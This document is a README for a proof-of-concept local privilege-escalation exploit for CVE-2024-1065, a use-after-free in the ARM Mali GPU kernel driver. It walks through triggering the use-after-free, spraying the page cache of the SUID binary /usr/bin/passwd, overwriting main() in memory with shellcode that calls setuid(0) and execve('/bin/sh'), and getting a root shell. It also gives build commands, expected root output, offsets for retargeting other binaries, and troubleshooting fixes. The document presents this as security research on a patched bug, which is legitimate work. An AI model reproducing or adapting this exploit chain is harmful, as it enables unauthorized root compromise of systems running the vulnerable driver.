
Page Cache Exploit for CVE-2024-1065
Proof-of-concept exploit for CVE-2024-1065, a physical page use-after-free in the ARM Mali GPU kernel driver. The exploit demonstrates page cache exploitation: racing a freed MIGRATE_MOVABLE page into the in-memory code image of a SUID binary, then overwriting it to achieve arbitrary code execution as root without modifying any file on disk.
Research purposes only. This PoC targets a patched vulnerability on a controlled x86 test system. The vulnerable code path cannot be triggered from userspace on production Pixel devices.
Trigger UAF — An anonymous page is imported into the Mali GPU driver via KBASE_IOCTL_MEM_IMPORT and mapped twice into userspace. Freeing both mappings returns the physical page to the MIGRATE_MOVABLE buddy freelist while cpu_mapping2 still aliases it.
Spray page cache — The exploit opens /usr/bin/passwd 100 times and repeatedly evicts the page at PAGE_OFFSET with posix_fadvise(POSIX_FADV_DONTNEED), then triggers a cache miss with pread. Each miss forces the kernel to allocate a fresh MIGRATE_MOVABLE page, cycling the freelist until the UAF page is chosen.
Confirm overlap — A probe byte read through cpu_mapping2 at MAIN_OFFSET confirms the UAF page now backs the binary's page cache entry. Values 0x00 and 0x61 indicate failure; anything else is real binary code.
Inject shellcode — memcpy through cpu_mapping2 overwrites main() with shellcode that calls setuid(0), setgid(0), and execve("/bin/sh").
Execute — execve("/usr/bin/passwd") is called. The ELF loader maps the binary's page cache pages executable. The corrupted page is already present — no disk read occurs — so the shellcode runs as root.
gcc -O2 -o exploit exploit.c
./exploit
Expected output:
[*] Opened /usr/bin/passwd x100
[*] MEM_IMPORT: flags=0x... gpu_va=0x... va_pages=0x1
[*] gpu_mapping (VA 1): 0x...
[*] cpu_mapping2 (VA 2): 0x...
[*] UAF triggered — stale mapping alive at 0x...
[*] Spraying page cache (100 attempts)...
[+] Overlap confirmed on attempt N (byte=0xf3) — cpu_mapping2 aliases the page cache!
[*] Shellcode written. Triggering execve...
# id
uid=0(root) gid=0(root) groups=0(root)
All target-specific values are defined at the top of exploit.c:
#define TARGET_BINARY "/usr/bin/passwd"
#define PAGE_OFFSET 0x4000 /* file offset of the page containing main() */
#define MAIN_OFFSET 0xbc0 /* intra-page offset of main() */
To retarget to a different binary, find the function offset by disassembling _start at the entry point address (readelf -h), then compute:
PAGE_OFFSET = sym_va & ~0xfff
MAIN_OFFSET = sym_va & 0xfff
Verify before running:
dd if=<TARGET_BINARY> bs=1 skip=$((PAGE_OFFSET + MAIN_OFFSET)) count=8 2>/dev/null | xxd
| Requirement | Value |
|---|
| Architecture | x86-64 |
| Kernel | 5.15 (tested on 5.15.0+) |
| Kernel config | CONFIG_MALI_NO_MALI=y, CONFIG_MALI_CSF_SUPPORT=y, r48 |
| Device | /dev/mali0 accessible from userspace |
| Target binary | /usr/bin/passwd (SUID root) |
| Symptom | Cause | Fix |
|---|
| Spray fails after 100 attempts | UAF page consumed before race window | Pre-evict target page before triggering UAF; increase NUM_FDS |
kernel BUG at mm/page_poison.c | Probe check passed on 0xaa page-poison byte | Add probe != 0xaa to the confirmation check |
SYSCHK fails on MEM_IMPORT | Mali driver not loaded or wrong version | Check CONFIG_MALI_NO_MALI and driver version handshake |